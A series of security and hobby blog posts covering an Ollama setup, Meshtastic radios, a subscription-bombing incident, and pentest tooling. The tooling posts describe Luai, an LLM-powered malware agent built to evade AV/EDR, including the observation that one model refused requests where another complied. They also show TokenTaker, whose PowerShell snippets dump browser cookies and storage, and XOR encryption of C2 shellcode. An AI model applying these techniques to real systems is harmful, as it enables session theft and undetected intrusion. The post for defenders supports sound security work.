SYSTEM """You are an advanced technical writing assistant that thoroughly checks text for grammar, spelling, capitalization, punctuation, proper sentence structure, paragraph length and technical correctness. Your task is to analyze the provided text and suggest corrections only where necessary. For each correction, present the output in the following structured format:

1. Index Number: Assign a sequential number to each suggestion.
2. Original: Display the original sentence or paragraph exactly as it appears.
3. Change to: Show the corrected version of the sentence or paragraph.
4. Explanation: Clearly explain why each change was made, specifying grammar, spelling, capitalization, punctuation, or paragraph structure issues.

Rules:
- Do not include sentences in the output if no corrections are needed. If a sentence is already correct, ignore it completely.
- Do not state that no changes were needed. If a sentence does not require correction, exclude it from the output entirely.
"""

Once the file is saved you need to create a model based on the modelfile.

ollama create <NewName> -f <ModelFile>

Creating the model based on the model file with our system prompt.

And we can now see our QA model listed in the available models.

New QA model listed

Now lets test the model from our local workstation.

Using our new QA model from a local workstation

For other system prompt ideas, GitHub is littered with them, but a good starting point could be Daniel Miessler’s fabric tool.
https://github.com/danielmiessler/Fabric/tree/main/data/patterns

Conclusion and Considerations

Now this isn’t anything fancy, and there are plenty of other options to achieve the same result, but this was simple, effective, and allows us to start building on and extending automation with the use of local AI.

I have had a good amount of success with the new gpt models. If you’re the only one loading a model or you’re implementing safe guards that only load one instance of the model in RAM you can get away with significantly less RAM. And in case you dont have access to 512 GB of RAM there are plenty of models that you can run on consumer level laptops and even embedded devices.
https://ollama.com/search

There is still work to do. Like anything, there are shortcomings that will need to be addressed.

• API Authentication is not native.

  • https://github.com/ollama/ollama/issues/8536

  • I would personally use an Nginx reverse proxy, or if your workflow supports it, look into vLLMs serve function. https://docs.vllm.ai/en/v0.8.3/serving/openai_compatible_server.html

• Job management

  • 512 GB of RAM is a lot, but depending on the workflows, you could run into issues where multiple users request multiple models and either crash the service or cause current jobs to endlessly run at 0 Tokens / second.

• Implementation of RAG to allow for larger data sets to be queried.

• Likely not the most ideal training rig.

• Hardening of the system. Specifically outbound and inbound communication of the system. Whether that’s done via included software or external hardware.

Ollama was really just a tool that provided everything we needed to get an MVP. Here are some other inference tooling we’ve been playing around with.

• vLLM - https://docs.vllm.ai/en/latest/ 

• llama.cpp - https://github.com/ggml-org/llama.cpp 

• LM Studio - https://lmstudio.ai/

Regardless of tooling you choose, the possibilities and automation is vast. Stay tuned for future projects and workflows utilizing this hardware.

Introduction

This is the third post in my ongoing series exploring Meshtastic. If you haven’t already, check out:

• Building a Meshtastic Node

• Meshtastic: 2 Months Later

After two months of experimenting with various hardware setups, I decided to give the LILYGO T-Deck Plus a try. With its built-in screen, keyboard, and audio capabilities, it's arguably one of the most complete Meshtastic devices available today.

DEF CON 33: Field Testing in the Wild

I brought both the LILYGO T-Deck Plus and my preferred daily-use Meshtastic device (this one from Amazon) to DEF CON 33 to put them through real-world stress testing—and they both ran the special DEF CON firmware provided by the Meshtastic DEFCON project.

Firmware download page

DEF CON firmware splash screen

The custom firmware was slick and introduced three dedicated channels:

• DEFCONnect

• Hacker Comms

• Node Chat

DEF CON channels

It was great to see this much community-driven coordination ahead of time.

iOS App Struggles

While I normally prefer the Amazon device paired with my phone, the iOS app absolutely struggled under the load at DEF CON, which I get as there was 2,000+ clients at one time and the most messages I’ve ever seen in my life:

• Frequent freezes and long lag times

• Occasional crashes

• Overall sluggish performance that made it nearly unusable in real-time

Nodes on first arrival

Nodes during peak con

Nodes during peak con zoomed in (enhanced😂)

Nodes during peak con. 2,333 nodes!

T-Deck Holds Its Ground

In contrast, the LILYGO T-Deck Plus held strong. Despite the chaos of the venue and overloaded airwaves, it kept pace:

• Messages were sending and receiving over short turbo

• The onboard interface (while limited) remained stable

• No dependency on a flaky app made all the difference

Messaging on the T-Deck

A Bit of DEF CON Lore...

There was also some buzz during the con that the DEF CON firmware might’ve been tampered with. A lot of people noticed a little ninja emoji (🥷) appearing next to their device names, myself included. Whether it was an easter egg, intentional branding, or something more mischievous... who knows? I erased and re-flashed my devices when I got home (and then threw them in the ocean j/k).

More information on the DEF CON firmware and the vulnerability at the Meshtastic official blog post.

TL;DR

• At DEF CON, a new vulnerability in spoofing NodeInfo under ToFU and memory constraints was revealed.

• Encrypted DMs and private keys remained secure.

• The issue has been addressed, but highlighted the need for better UX, identity verification, and message signing moving forward.

Conclusion from the Field

The experience made me rethink my hardware preferences. At DEF CON scale, where infrastructure and app stability can’t be trusted, the T-Deck Plus’ all-in-one form factor became a huge advantage.

Why the T-Deck Plus?

The appeal is obvious: it's an all-in-one package. I don’t have to carry a LoRa device and a phone to send or receive messages. Everything I need is right there, keyboard, screen, antenna, and power. That makes it compelling not just for casual use, but also as a standalone emergency device. I've even considered keeping it powered down in a Faraday cage, just in case something wild like an EMP ever hits.

Packaging

Hardware Overview

Here’s what you get with the T-Deck Plus:

• LoRa support for 433/868/915 MHz (model dependent)

• Built-in full QWERTY keyboard

• TFT display

• Built-in microphone and speaker

• Battery connector and charging support

• MicroSD card slot

More packaging

It’s packed with features in a compact package, but with that comes added bulk and a steeper price tag.

Setup & Configuration

Getting Meshtastic on the T-Deck Plus was straightforward:

• Flashing the firmware via Meshtastic Flasher worked without issue.

• However, a few quirks surfaced:

  • The UI sometimes struggles with rendering names or emojis.

  • The built-in display is decent, but chat messages occasionally show up malformed.

  • Maps don’t work out of the box. You’ll need to preload them onto a MicroSD card (which I didn’t bother with).

  • Other nodes didn’t appear for at least five minutes.

Screenshot of the Meshtastic Mesh Map with lots of nodes active.

Real-World Use

Using the device in the field was a mixed bag.

What I Liked:

• All-in-one functionality: I could send and receive messages without pairing it to my phone.

• Great for emergencies: Could see this being super useful in an offline scenario or disaster recovery situation.

• Decent display: For quick glances, it’s bright enough and legible outdoors.

The T-Deck Plus

What Fell Short:

• $98 price tag: That’s steep. For not much more, you could grab a Hackberry-Pi_Zero or even a full-featured SDR rig.

• Input is clunky: The keyboard is functional, but far from pleasant to use.

• Firmware quirks: Chat names occasionally don’t display, and emojis are a no-go.

• Map setup is manual: You’ll need to load files to a MicroSD card—not ideal

  

  Device boot screen with Meshtastic.org logo and firmware version.

Close-up of the keyboard, showing key layout and trackball.

Honestly, it still feels a bit like a beta experience, but so did the Android and iOS apps six months ago. I expect future firmware updates will smooth these edges over.

Recommendation

Would I recommend the T-Deck Plus?

• If you want an all-in-one, always-ready Meshtastic terminal: Yes.

• If you're building a node for daily use or long-term field deployment: I’d stick with the simpler board I talked about in Part 1. It’s cheaper, comes with a case and battery, and works well paired with a phone.

Final Thoughts

Overall, I’m happy with the T-Deck Plus. It's powerful, portable, and packed with features. But the price and firmware quirks make it a better fit for enthusiasts than for casual users at least for now. I’ll be keeping an eye on future updates and may revisit this in another few months. Right before publishing this blog my T-Deck Plus will no longer power on. The charging light lights up; however, the screen and device never power on. I did have an issue when I first flashed the device where no other nodes were recognized. After flashing to an alpha version of meshtastic other nodes were recognized, then right before it died, I was having the same issue. I am working with LILYGO support, but I don’t expect much given the recent reviews with similar issues. At this time, I do not recommend the LILYGO T-Deck Plus Meshtastic. I will update this blog in the future with updates from my experience with LILYGO support.

Resources

• LILYGO T-Deck Plus on AliExpress

• Meshtastic Firmware & Docs

• Meshtastic Flasher Tool

• Part 1: Building a Meshtastic Node

• Part 2: Meshtastic, 2 Months Later

• Meshconsin Discord

Mesh the planet!

@TheL0singEdge

Two months ago, I built my first Meshtastic node (here’s that post). Since then, Meshtastic has quietly become part of my daily life, expanding from a nerd project to a practical tool for family comms, emergency readiness, and local community resilience.

Messaging My Wife While Picking Up Dog Poop

One of the best moments so far: I was outside picking up dog poop while a plane was flying over our house, and I was able to message my wife, who was on the plane, using Meshtastic.

This simple exchange reminded me that the magic of offline, radio-based messaging is real and practical.

Madison Coverage: Then vs. Now

When I started, the Madison Meshtastic map had a modest scattering of nodes.

Today, thanks to local hobbyists and the community, plus adding an unmonitored node at Sector67, coverage in the Madison area has expanded significantly, building a real, redundant mesh.

If you’re local and want to join the mesh, reach out, or drop a node in your window to help.

Expanding the Setup: T-Deck Plus Plans

Next up, I’m planning to buy the T-Deck Plus Meshtastic for:

✅ Integrated keyboard and screen
✅ True phone-free operation
✅ Easy on-the-go messaging and debugging

Once it arrives, I will test it against the standard phone-tethered experience to see if it can replace my typical carry for backpack trips, bike rides, and local network mapping.

Why Meshtastic Still Feels Worth It

✅ It works.
✅ It’s fun.
✅ It encourages RF and antenna learning.
✅ It adds a small but real layer of resilience.
✅ It is community-building in a quiet, practical way.

Two months later, Meshtastic is more than a fun toy. It’s become part of my “daily carry” tools, ready for everything from family backup comms to community mesh support and emergency fallback.

Next Steps

• Test the T-Deck Plus and compare.

• Map dead zones in Madison and experiment with antennas.

• Encourage more unmonitored node drops for local resiliency.

• Maybe even build a dedicated solar-powered node.

If you want to test Meshtastic, trade range data, or experiment with longer-range builds in the Madison area, let me know. The more nodes, the better the mesh. And if you’re in Wisconsin, join the Meshconsin Discord.

Happy meshing!

@TheL0singEdge

AI seems to be the hottest talk of the town in recent years. It seems like every industry is looking to integrate AI into their business in some way, shape, or form. In the security industry, lots of AI pentesting tools have started to emerge which offload some of the work previously done by a pentester to an LLM. This is nice in some regards; I would be happy to offload report writing to an LLM which would leave me more time for hacking. I believe that AI will be a great enhancement for both Red and Blue teams in the coming years as LLMs continue to mature and adaptation increases.

As a penetration tester, my primary focus is on the offensive, red team side of things. I wanted to create a malware agent that actively uses an LLM to accomplish its objective.

I created Luai as a proof of concept to explore this idea. The Luai agent is written in Rust and makes API calls to OpenAI, using their o1 model to generate Lua code to accomplish the task issued by the attacker. The generated Lua code gets immediately executed and the result is returned to the attacker server. The benefits of this are:

1. The binary is lightweight and clean since it contains no nefarious Lua code.

2. Lua code is generated on the fly by the LLM based on the command sent by the attacker.

3. The generated Lua code is executed by Rust and very difficult for AV / EDR to detect. (More on this below)

This concept of Rust and Lua is a continuation of previous research I did on embedding Lua into Rust. You can read that full blog post here. But the TL;DR is that Lua is an embeddable scripting language that has a powerful Foreign Function Interface (FFI) available via LuaJIT. The FFI library allows you to call external C functions and use C data structures from pure Lua. So we can essentially call any WinAPI function from Lua.

What’s great about this is we can then embed the Lua code into Rust and execute it. Rust has a fantastic crate for embedding Lua called mlua that supports LuaJIT. This makes implementation very straight forward and we don’t need to mess with including any external DLLs or manually calling Lua functions and managing return values.

Embedded Lua is also fantastic for AV / EDR evasion. When ever you want to use a C function in Lua, you define and call it like so:

ffi.cdef[[
typedef void* HWND;
typedef const char* LPCSTR

int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, int uType);
]]

ffi.C.MessageBoxA(nil, "Hello from Lua", "Hello World", 0)

The LuaJIT virtual machine is responsible for executing the code. First, it needs to look up the address of MessageBoxA. This should sound familiar to malware devs out there when trying to hide function calls. We define the function signature, then use GetProcAddress / GetModuleHandle or some sort of manual implementation to lookup the function address at runtime. Except with LuaJIT, the VM handles all this for us; and as you would expect, MessageBoxA will not appear in the PE’s Import Address Table.

The Lua VM also utilizes a virtual stack that is used to pass data between Rust and Lua. When embedding Lua into other languages such as C, you must manually push and pop values to the virtual stack. However, with the mlua crate for Rust, most of this is automatically handled for us.

All this abstraction with the Lua VM poses a challenge for AV and EDR to effectively monitor and detect.

The Luai project has two components. Luai, which is the AL malware agent, and luai_web, which is the web interface running on a remote server where the attacker can issue commands to the agent.

The agent will contact the server at random intervals for tasking. Once it receives a task, it will make a query to the LLM and get back a Chat Completion response containing the generated Lua necessary to complete the task it was given. The LLM’s system prompt instructs it to always return the result in a string variable that way it can be popped off Lua’s virtual stack and accessed in Rust.

Duration is the sleep duration in seconds, Instruction is the task received from the server, the generated Lua script is printed to console for verbosity.

Once the LLM has generated the Lua script, it is directly executed within Rust like so:

Instead of creating Luai as a true AI Agent, where it can generate the Lua script, execute it, and reflect on the results through the thought / action / observation lifecycle and make changes accordingly; I opted to only use AI only to generate the Lua script. This was done for a couple reasons.

First and foremost, it prevents data from the compromised machine from being sent to the LLM. If the AI Agent were to run the Lua script, it would have to review the results to see if it accomplished the task or not, and to decide if it needs to take further action. It’s a different story if you are using a local LLM hosted on your own infrastructure. But if you are using OpenAI or any other service provider, it’s best to not send that information back to the LLM.

Second, AI Agent frameworks for Rust and other compiled languages is lacking. I know you don’t neeed an AI Agent framework, but it definitely simplifies the process and reduces complexity.

One of a couple issues I discovered during development and testing was that AI is very ok at generating Lua. Particularly Lua which calls WinAPI’s. I think this is due to type definitions between C and Lua, which can be very finicky.

For example, in Lua you have a type void* and in the WinAPI you have PVOID. Now you would think you could just use void* anywhere that PVOID is required, but no. You must explicitly create the type in the Lua code or else your code will probably not run:

ffi.cdef[[
typedef void* PVOID;
...
]]

AI is not great at figuring this out, so I provided a “starter set” of type definitions in the system prompt. It definitely helps, but it’s not bulletproof.

This results in the generated Lua being somewhat “hit or miss” depending on the task it’s given. I.e.,it will throw an error when Rust tries to execute it. Since it’s not an AI Agent and the LLM cannot reflect on the error and refine the script, I created a workaround which is a function that recursively calls itself X number of times until the script runs successfully or the limit is reached. It’s a big improvement, and usually the LLM can usually generate a working script during one of the attempts. But again, it’s not bulletproof.

The other issue I encountered is OpenAI’s low threshold for “malicious requests” where the LLM will refuse a command. Grok on the other hand, I encountered no refusals and the LLM was more than happy to comply, however the quality of the generated Lua code was lacking compared to OpenAI’s o1 model, which I found to be the best despite the occasional refusals.

Rust and Lua is a powerful combination and I have created payloads leveraging this dangerous duo that I use in engagements with great success. Introducing AI into the mix and using an LLM to generate the the Lua code only adds to it’s potency. Despite some of the pitfalls, a good system prompt can go a long way, and I think as AI continues to mature, it’s capabilities will only get better.

Thanks for reading!

Projects:

Luai: https://github.com/djackreuter/luai

Luai_web: https://github.com/djackreuter/luai_web

🛰️ Introduction

These days, any bozo with ChatGPT and a CRISPR kit can start editing DNA at home. We’ve all seen I Am Legend and know how that ends: zombie apocalypse. With a looming recession and World War III proxy conflicts already brewing, you and your family need off-grid encrypted communication. That’s where Meshtastic comes in.

🌐 What is Meshtastic?

Meshtastic is an open-source project that enables long-range, decentralized communication using low-power LoRa (Long Range) radios. Designed for use in off-grid scenarios, it allows users to send encrypted text messages and GPS data without relying on cell towers, Wi-Fi, or the internet. Devices running Meshtastic form a mesh network, meaning messages can hop across multiple nodes to reach their destination, even if the sender and recipient are not within direct radio range. This makes it ideal for outdoor adventures, emergency preparedness, remote communities, and hobbyist experimentation, offering a resilient and cost-effective alternative to traditional communication infrastructure.

❓ Why?

What if the phone networks and internet go down? Ham radio is the obvious solution, but that requires a license and communications are not encrypted. These devices are low-cost alternatives.

🥇 My First Device:

I was super disappointed with this device as there were no nodes near me after monnths of operating. Turns out I just had a bad flash and needed to re-flash the device. Which I didn’t know until I bought the second device.

https://www.amazon.com/dp/B0D2L1ZHRR

ESP32 LoRa V3 Module Board with 3000mAh Battery Set

ESP32 LoRa V3 Module Board with 3000mAh Battery Set - with 915MHz Antenna and SX1262 LoRa V3 Case Devices for Meshtastic Arduino LoRawan IOT

🥈My Second Device (The one I should have bought first):

https://www.amazon.com/dp/B0DP6BNZ4M

This device has a nicer case and antenna that also holds a battery. You can use a battery with the other case; however, it just dangles out the back.

ESP32 LoRa V3 Development Board + 1100mAh Battery

ESP32 LoRa V3 Development Board + 1100mAh Battery + N30 Protect Case Set - with 915MHz Antenna and SX1262 LoRa V3 Devices for Meshtastic Arduino LoRawan IOT (Upgraded N30 Case)

⚡ Flashing

Flashing is really easy. Use the Meshtastic site:

Flasher.meshtastic.org

flasher.meshtastic.org

💼 Practical Use Cases:

I attended CypherCon in Milwaukee, Wisconsin and had a lot of fun in the CTF where they had some Meshtastic based flags. It was also super fun to send random strangers the 💩 emoji.

Recently, I flew to Fort Meyers beach and was messaging people from the airplane and the beach:

Sending messages from 15,000 feet

Other use cases include messaging in heavily saturated cellular networks at sporting events, concerts, theme parks, natural disasters, etc.

Many other nodes have popped up in my area making this a viable communication method:

Mesh map after traveling for work

🤼 Groups

If you’re in Wisconsin check out the Meshconsin Discord.

There are also several other groups:

https://meshtastic.org/docs/community/local-groups/ 

🏁 Conclusion

If you’re like me and have been procrastinating getting your ham radio license and interested in alternatives communication methods, Meshtastic is a low cost, interesting, fun project that you can complete in less than hour. Good luck and happy hacking.

Hack the planet!

@TheL0singEdge

In cybersecurity, the art of distraction is classic offense: flood a victim with noise while silently executing a more sinister attack. One infamous tactic is subscription bombing, where an attacker overwhelms your inbox with thousands of unsolicited subscription confirmations, newsletters, and password reset emails. The intent? To distract and disorient, masking a more severe attack—such as credit card fraud or account takeover. I recently became an unwilling expert on subscription bombing, so why not share what I learned.

My Story

In short, I received nearly 2,000 unsolicited emails in just a few hours. The evening prior, I bought computer parts from an unfamiliar online vendor and the checkout process felt suspicious. I entered my credit card details, only to be redirected unexpectedly to PayPal where I was asked to enter the details again. I ignored my gut feeling… because… well, shiny new toys. That was a big mistake.

Twelve hours later, chaos ensued.

Stage 1: Denial

Maybe denial isn't exactly right, but disbelief definitely set in. It was 9:57 AM, and I was on a client call when my phone began vibrating relentlessly. By 10 AM, my inbox had 61 new emails. Surely whatever was going on wasn't that bad, right? Classic denial.

The first seven emails from the attack

At 10:07 AM, with 174 unread emails piling up, reality struck: two international charges of $3,137.09 each appeared on my credit card. Both labeled ominously as PAYPAL *XUM9. Denial quickly faded into panic.

Actual credit card alerts

Tip: Always trust your instincts. If a transaction feels off, stop immediately and verify the site’s authenticity.

Stage 2: Panic

The subscription bombing effectively overwhelmed my ability to think at my best. I needed to deal with the fraud, but the barrage of emails was driving me crazy. Then I noticed that between 9:52 AM and 10 AM, attackers made 52 attempts to reset my Plex password. These password reset emails were buried under hundreds of subscription confirmations from sites I'd never even heard of. Now I’m wondering if my Plex account is the target, and perhaps they’ve breached my email too? (Note: After later analysis, I don’t believe my Plex account was being targeted.)

4 of the 52 Plex account password reset emails

Advice: Even in your personal life, it never hurts to have an incident response checklist handy. Panicking can lead to missed critical steps.

Stage 3: Action

Regaining composure, I quickly called my bank. Within nine minutes, the fraudulent charges were confirmed, the compromised card number was canceled, and replacement cards were ordered.

Next, I needed to deal with the flood of emails and running a personal M365 instance helped significantly. I created an Outlook rule to redirect all new emails into a PST file. This stopped my inbox from overflowing and allowed me to use the search and filter features to handle legitimate messages.

Quick Action Tip: Creating inbox rules during an attack can save you from severe disruptions and possible inbox lockouts.

Stage 4: Cleanup & Resolution

Cleanup was arguably worse than the attack itself. Over a week later, I'm still cautiously unsubscribing from hundreds of mailing lists. I say cautiously because wouldn’t it be genius to sneak a phishing attack into an unsubscribe link a few days later? To complicate matters, about 8% of the emails I received were written in non-English languages (26 languages, to be exact).

Side Benefit: I've quickly become proficient in identifying international "unsubscribe" links.

Replacing our credit cards was tedious. I needed to update my card number across numerous accounts—Apple, Amazon, streaming services, and more. To mitigate future issues, I'm now exploring virtual credit card services like Privacy, which significantly limit the impact of compromised card numbers.

I also notified the vendor that I suspected caused my chaos and explained how the website checkout required my card number twice. They were surprised to hear from me, but noted that they recently moved to PayPal after some prior problems. Two days later, the vendor confirmed a breach and vowed improvement, albeit without offering any compensation or detailed reassurance. Skeptical applause?

Email from the compromised website vendor confirming their breach

Cyber Hygiene Tip: Use virtual credit cards for online purchases to simplify incident management and minimize risk.

Stage 5: Post-Mortem Analysis

As a cybersecurity pro, curiosity got the best of me. I extracted and analyzed the 2,000+ emails received in just 24 hours with Python and ChatGPT. The highlights were fascinating and alarming:

• The peak minute of the attack was at 2025-04-16 15:18, during which 92 emails were received.

• 291 messages referenced listservs in headers, implying heavy use of mailing list subscriptions, a classic method in subscription bombing attacks.

• 23 languages were detected, including English, Spanish, Japanese, German, French, Chinese, Russian etc.

• The global distribution of TLDs (e.g., .es, .de, .ru, .fr, .nl, .jp, .pl) included 153 international domains. 187 domains were .edu.

• Password reset forms were used similarly to email subscriptions when the site was known to send email confirmations. My email address was submitted 52 times to the plex.tv password reset form. 135 emails were from password resets.

• The most common/repeated sending domains were plex.tv, wsu.edu, golfweek.at and wordpress.com.

Pro Tip: Consider using email aliases or dedicated addresses for different services, enabling easier identification and isolation when compromised.

Final Thoughts

Subscription bombing isn't just a nuisance; it's a smoke-screen attack method masking more severe threats. Early detection, rapid response, and proactive security measures (such as virtual credit cards) can greatly mitigate damage. Take it from me, even the pros aren't immune. Stay vigilant and remember, when something feels off, it probably is.

In this post, we introduce a post-exploitation concept and tool designed to dump all cookies, session, and local storage entries to JSON files and it does this through a localhost WebSocket connection using Chrome/Brave/Edge's remote debug functionality (Chrome DevTools Protocol).

The Belly - Chrome DevTools Protocol (CDP)

CDP was created to allow developers to interact with and control Chromium-based browsers (Edge/Brave/Chrome/Opera, etc.) programmatically and enables things like inspecting web pages in real-time, debugging JavaScript, DOM manipulation, monitoring network activity (extremely useful), and performing nearly anything possible within DevTools. It essentially enables a communication channel between the browser and a client (e.g., a script or some other external application) via a WebSocket through a "debugging port".

When the --remote-debugging-port switch is enabled (supplied via the command line when launching the browser), external tools or scripts can connect to the browser over the network. It's typically used for tasks such as testing automation with tools like Playwright, Puppeteer, Selenium, etc., or just to debug web applications remotely.

For example, running chrome.exe --remote-debugging-port=9481 starts Chrome with debugging enabled on port 9481, and is accessible via http://localhost:9481 or via the CDP WebSocket (ws://localhost:9481)

You can learn more about CDP here.

The Concept

1. Find the users' default browser

This is usually done by querying the HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice registry path to determine which default program is associated with opening URLs. In this case, the value for ProgId gives us a hint as to what the default browser is. The ProgId is typically something like ChromeHTML, or BraveHTML, etc, but in the odd case where the default browser hasn't been set, it might look more like FirefoxURL-[RandomString]. Either way, we can usually determine the default browser by simply retrieving that ProgId value.

2. Relaunch the browser with the --remote-debugging-port enabled

If the browser is already open and does not have remote debugging enabled (if it does already, something is unusual), we need to terminate it and relaunch it in order to enable the debug port. Unfortunately, the main caveat to this tool is that the debug port cannot just be enabled on an already running browser (that I know of). This may or may not spark some suspicion or curiosity from the end-user's perspective.

3. Dump all the things

Once the browser is relaunched with the --remote-debugging-port switch enabled, we can interact with it freely, and have access to a number of things that are useful during engagements, particularly session information (auth tokens, cookies, etc.).

PS C:\> .\TokenTaker.ps1
[+] Targeting default browser: brave at C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe
[+] Default profile directory: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data
[+] Starting brave with default profile and debugging on port 9481...
[+] Found 2 tabs.
[+] Connecting to tab: chrome://newtab/ via ws://127.0.0.1:9481/devtools/page/14C19B86195AE6F889CCF53BBFCED2F6
[+] WebSocket connected.
[+] Dumping it all...
[+] WebSocket closed.
[+] Found token for .login.microsoftonline.com
- Total Cookies: 862
- Total Local storage items: 0
- Total Session storage items: 0
[+] Dumped files saved to C:\Users\user\AppData\Local\Temp\901b7af1-32c7-47c8-a5c0-9f875d0855e1

TokenTaker

TokenTaker is a proof-of-concept PowerShell script that automates the above process and dumps all cookies, session and local storage. It can be downloaded from our GitHub page here.

The script will first identify the default browser by querying the Windows registry for the ProgId of the application handling HTTPS links and uses a lookup table ($browserMap) to match ProgId values to known browser paths and user profile directories. Once it’s figured out which browser to use, it first checks if remote debugging is already enabled (it really shouldn’t be by default), but if it is, it will use that. If an existing browser session is detected without remote debugging (the more likely scenario), it is forcibly terminated and a new browser instance is started with --remote-debugging-port=9481.

Once it has confirmed that remote debugging is enabled, it will retrieve the list of open tabs from the debugging API, and extracts the WebSocket debugging URL from the /json endpoint. The /json endpoint returns a list of active tabs, each with a webSocketDebuggerUrl, which is used to send and receive debugging commands.

Example response from http://127.0.0.1:9481/json

After it’s retrieved list of active tabs, it connects to the first one it finds using the webSocketDebuggerUrl:

Retrieving list of active tabs and initial WebSocket Connection

Extracting Cookies via the Network.getAllCookies Method

The first command sent over the WebSocket is:

$cookieCommand = @{ 
    "id" = 1;
    "method" = "Network.getAllCookies"
} | ConvertTo-Json

The above command tells the browser to use the Network.getAllCookies method, which fetches all cookies accessible to the browser, along with assigning a request ID to track responses, and converted to JSON format.

The script then sends this JSON-encoded message over the WebSocket with the Send-WsMsg function:

Send-WsMsg -WebSocket $ws -Message $cookieCommand -OutputFile $cookieFile | Out-Null

Inside Send-WsMsg, the command is converted to UTF-8 bytes and sent to the browser WebSocket, and the WebSocket returns a JSON object with all of the stored cookies:

Example cookie output

Extracting Local Storage via the Runtime.evaluate Method

Unlike cookies, Local Storage and Session Storage are not accessible via Network methods, and instead, JavaScript execution is required via the Runtime.evaluate method. To retrieve Local Storage, the script sends:

$localStorageCommand = @{ 
    "id" = 2;
    "method" = "Runtime.evaluate"; 
    "params" = @{ "expression" = "JSON.stringify(localStorage)" } 
} | ConvertTo-Json

The Runtime.evaluate method runs JavaScript inside the active browser tab, and "params": { "expression": "JSON.stringify(localStorage)" } is used to convert the Local Storage into a JSON string. The $localStorageCommand is then sent to the WebSocket, and it returns something like the following:

Example Local Storage Output

Session Storage works the same way as Local Storage but is tab-specific and cleared when the browser is closed.

After retrieving cookies, local storage, and session storage, TokenTaker gracefully terminates the WebSocket connection. This sends a Close frame over the WebSocket, ensuring a clean disconnection.

$ws.CloseAsync(
    [System.Net.WebSockets.WebSocketCloseStatus]::NormalClosure, 
    "Done", 
    [System.Threading.CancellationToken]::None
).Wait()
Write-Output "[+] WebSocket closed."

All files are saved to a random GUID-named folder in $env:TEMP.

For Defenders

Disabling the --remote-debugging-port functionality can be accomplished in several ways, including GPOs, registry modifications, and system-level mitigations.

Since Chrome, Brave and Microsoft Edge are built on Chromium, the following similar methods can be used.

Completely Disable Developer Tools via Group Policy

You can disable Developer Tools entirely, which will also block remote debugging:

1. Download the Chrome/Edge ADMX templates from:

   • Chrome: Google Enterprise Policy

   • Edge: Microsoft Edge Enterprise Policy

2. Import the ADMX files into Group Policy Editor.

3. Navigate to:

   Computer Configuration -> Administrative Templates -> Google Chrome / Microsoft Edge

4. Enable:

   • "Disable Developer Tools" (DeveloperToolsAvailability set to 2)

Block Just Remote Debugging Ports via Group Policy

1. In Group Policy Editor, go to:

   Computer Configuration -> Administrative Templates -> Google Chrome / Microsoft Edge -> Security Settings
   

2. Enable the Command-line argument overrides are not allowed policy:(RestrictCommandLineFlags).

3. Add the following blocked arguments:

   --remote-debugging-port
   

Modify The Windows Registry (an alternative)

If GPO is not an option, use the Windows Registry:

1. Open Registry Editor (regedit).

2. Navigate to (or create):

   For Chrome

   HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome
   

   Or for Edge:

   HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\MicrosoftEdge
   

3. Create a DWORD (32-bit) Value:

   • Name: DeveloperToolsAvailability

   • Value: 2 (Disabled)

4. Create another key (if it doesn’t exist):

   HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\CommandLineFlagSecurity
   

   • Add a String Value: RestrictCommandLineFlags

   • Set value to: --remote-debugging-port

Network-Based Restrictions

If remote debugging is being misused over the network, consider blocking relevant TCP ports.

• Remote debugging typically runs on port 9222 (the default) or any other arbitrary port.

• Use a firewall rule (Windows Defender Firewall, Group Policy, or network firewall) to block outbound/inbound traffic on TCP 9222, etc.

Application Whitelisting

• Use Windows AppLocker or Microsoft Defender Application Control to restrict the use of Chrome/Edge with non-approved command-line arguments.

Disabling Debugging Features via Browser Extensions

• Some security tools offer browser extensions that block debugging. Consider deploying a security extension that prevents script injection or debugging.

Disclaimer

This tool is provided purely for educational purposes and authorized security testing only. It is intended to help users understand web browser security concepts, vulnerabilities, and to help find ways to defend against these sorts of things. Unauthorized use, including but not limited to attacking systems without explicit permission, is strictly prohibited and may violate applicable laws. The developers are not responsible for any misuse, damage, or legal consequences resulting from the use of this tool. Use responsibly and ethically, and always obtain proper consent before testing any system.

When encrypting shellcode, I prefer to use XOR over something like AES. This is partly due to XOR having lower entropy than AES, so a binary might look less malicious, but also because XOR decryption is easy to implement and can be done without needing to include any special crypto libraries.

The way XOR encryption is usually done is with a single byte “key”. This can be either a hexadecimal representation 0×41 or a char A . It’s simple and efficient, but it is susceptible to brute forcing. This can be improved by using a “rotating key” instead of a single character. This is a huge improvement against brute forcing and it is still simple to implement.

However, there is still one big problem. if you inspect the XOR encrypted data, you will see that you are actually leaking your key in the data!

This blog will go over how to implement a rotating key, and also how to prevent the decryption key from being leaked in the encrypted data. This will also serve as a first look at the Zig programming language. Zig has been gaining popularity within the past several months and has definitely peaked my interest. Playing with XOR encryption seems like a great way to take Zig out for a spin.

What is Zig?

According to ziglang.org:

Zig is a a relatively simple language and works wonderfully with existing C code. Zig comes with Clang embedded in the executable so you can use it as a C/C++ compiler with the same arguments you would use for Clang. You can also import and use symbols from C header files.

https://ziglang.org/documentation/0.13.0/#toc-Import-from-C-Header-File

You can even convert existing C code to Zig with the translate-c command line option.

zig translate-c main.c > awesome.zig

Zig also supports compile-time code generation and lazy evaluation. Polymorphic malware anyone?!?!

Zig is also very fast. Just look at this mesmerizing GIF of 1 billion nested loop iterations comparing different programming languages. Now you shouldn’t be using nested loops in the first place, but if you do, Zig has you covered ;).

https://x.com/BenjDicken/status/1863977678690541570

I could go on about Zig, ( just wait till you see how easy it is to call WinAPI’s ), but I’ll just leave it here for now.

After you install Zig, create a main.zig file with the following content:

const std = @import("std")

pub fn main() !void {
    const fileBuffer: []const u8 = @embedFile("shellcode.bin");

    std.debug.print("[+] File length: {d}\n", .{fileBuffer.len});

    var buffer: [fileBuffer.len]u8 = undefined;

    try singleKeyXOR(fileBuffer, &buffer);
}

We can use @embedFile to load the shellcode into a byte array and print the file length with std.debug.print from the standard library. We are also creating a buffer that will store the XOR encrypted shellcode. The shellcode we are using is generated from an open source C2.

Now you may look at this and wonder why there is no catch block after try. In Zig, try is just shorthand for this:

const number = parseU64(str, 10) catch |err| return err;

Our singleKeyXOR function will look like this:

pub fn singleKeyXOR(fileBuffer: []const u8, buffer: []u8) !void {
